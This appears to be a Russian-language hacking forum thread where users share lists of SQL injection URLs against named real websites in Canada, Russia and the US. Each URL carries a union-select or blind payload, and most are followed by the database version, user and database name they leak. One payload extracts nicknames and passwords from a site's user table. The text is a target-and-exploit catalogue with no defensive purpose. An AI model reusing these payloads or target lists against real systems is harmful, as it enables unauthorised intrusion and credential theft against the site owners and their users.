SQL-Injection

[shuba]

http://www.paramountcenter.org/stage.php?id=-411+union+select+1,concat_ws%280x3a,version(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--+

5.0.77-log:400124_pca@172.16.11.102

http://www.vancouver-ecodensity.ca/content.php?id=-47+union+select+1,2,unhex(hex(concat_ws(0x3a,user(),version()))),4,5,6,7,8,9,10,11,12,13,14,15,16--+

fixate_eco@lsh413.van.ca.siteprotect.com:4.1.14-log

http://www.frw.ca/rouge.php?ID=-42+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9--+

version:4.0.18-Max
user:frw@web49
database:frw

http://www.careerbookstore.ca/site/catalog.php?a=list&id=-122'+union+select+concat_ws(0x3a,version(),user()),2--+

version:4.1.22-log
user:careerbookstore@localhost

[Dare]

http://mqup.mcgill.ca/content.php?id=-7+union+select+concat_ws(0x3a,version(),user()),2--+

версия 5

[shuba]

http://www.knowmag.ca/reviews/index.php?id=-16+union+select+1,concat_ws(0x3a,version(),user()),3,4,5,6,7,8,9,10--+

version:4.0.27-log
user:know@199.175.106.42

[daniel_1024]

http://interdo.ru/wiev.php?ID=2203+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10--

PR: N/A ТИЦ: 0
Database Version: 5.0.77-log
Database name: sexybeer_interdo
User name: sexybeer_hummer@localhost
OC type: redhat-linux-gnu

http://psyvlad.ru/wp/pk2.php?idp=pk4&id=40+and+1=0+union+select+1,version()--

PR: 2 ТИЦ: 10
Database Version: 5.0.51a-community
Database name: db_psyvlad
User name: psyvlad@localhost
OC type: redhat-linux-gnu

http://www.ngmu.ru/cozo/mos/article/text_full.php?id=99+and+1=0+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

PR: 4 ТИЦ: 110
Database Version: 5.1.41
Database name: mos
User name: cozoadmin@localhost
OC type: redhat-linux-gnu

http://www.altmu.metroland.ru/index.php?page=news/Bol.php&id=370+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--

PR: 5 ТИЦ: 30
Database Version: 5.0.51a-21-log
Database name: mlaltmu
User name: altmu@83.246.133.38
OC type: debian-linux-gnu

http://www.persons-aforism.ru/index.php?id=52&keywid=1179&keywPid=-398115712+and+1=0+union+select+version(),2--

PR: 2 ТИЦ: 20
Database Version: 5.0.32-Debian_7etch11-log
Database name: personsafori
User name: u_personsafo@localhost
OC type: pc-linux-gnu

http://www.muzkom.net/interesting/shownews.php?id=142+and+1=0+union+select+1,2,version(),4,5,6,7--

PR: 5 ТИЦ: 70
Database Version: 5.0.82-log
Database name: muzkomurru_cust
User name: muzkomurru@cub.mplik.ru
OC type: unknown-linux-gnu

http://test.muzkom.ur.ru/interesting/shownews.php?id=142+and+1=0+union+select+1,2,version(),4,5,6,7--

PR: N/A ТИЦ: 70
Database Version: 5.0.82-log
Database name: muzkomurru_cust
User name: muzkomurru@cub.mplik.ru
OC type: unknown-linux-gnu

http://www.vniipo.ru/orders/magazine/mag_description.php?id=36+and+1=0+union+select+version(),2--

PR: 4 ТИЦ: 275
Database Version: 4.0.27-max-log
Database name: vniipo
User name: vniipo@v3.valuehost.ru
OC type: unknown-freebsd4.7

[shuba]

http://трансгарант.рф/ru/press-center/index.php?from=2&id=-977+union+select+1,2,concat_ws%280x3a,version%28%2 9,user%28%29%29,4,5,6,7,8,9--+

РФ

4.0.25:transgar@bux.hc.ru

[v1d0q]

http://риэл-авто.рф/viewcars.php?carid=-711+union+select+1,2,3,4,version(),6,7,8,9,10--+

http://камаз.рф/ru/investor/stock/open/bank_details'+and+1=0+union+select+1,2,3,4,5,6,7,8 ,9,concat_ws(0x3a,version(),user(),database()),11, 12,13--+/

http://колоринг.рф/catalogue/?catalogue&group=00000002202+union+select+1,2,3,ve rsion(),5,6,7,8,9--+

мазохисткие блинды
http://лисси.рф/news/archive/2010/(5)and+substring(version(),1,1)=5/
http://лисси.рф/doc/?id=26+and+substring(version(),1,1)=5

Тиц и пиар лежит на предыдущих доменах.
Пример : колоринг.рф > rm-company.ru

[shuba]

http://www.yesmag.ca/brain/brainbump.php?id=-94+union+select+1,2,3,concat_ws%280x3a,version%28%29,user%28%29%29,5--+

4.0.27-log:yesmag@199.175.106.42

[BlackFan]

wcg.ru

http://arena.wcg.ru/blogs/?id=-104+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10--+

http://arena.wcg.ru/blogs/?id=-104+union+select+1,2,3,4,5,concat_ws(0x3a,nick,passwort),7,8,9,10+from+user+limit+0,1--+

version - 5.1.37
database - wcgzone
user - wcg@localhost

[fail]

http://cards.disneysites.com/makeCard2.php?cardID=-68%27+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--+

5.1.39-log:dsites@thor.dreamhost.com:dsites_cards (вывыод в сурсе)

http://meridianrgv.com/details_residential.php?id=-58+union+select+1,2,concat_ws(0x3a,user(),version()),4,5,6,7,8,9,10,11,12,13,14,15

merivcom_meridia@localhost:4.1.22-standard

[Gorev]

http://visualfreak.com/?item_id=2309+UNION+SELECT+1,concat_ws(0x3a,versio n(),database(),user(),@@version_compile_os),3,4,5--


Database Version: 5.0.90-community
Database name: izhevskp_freak
User name: izhevskp_freak@localhost
Os: unk nown-linux-gnu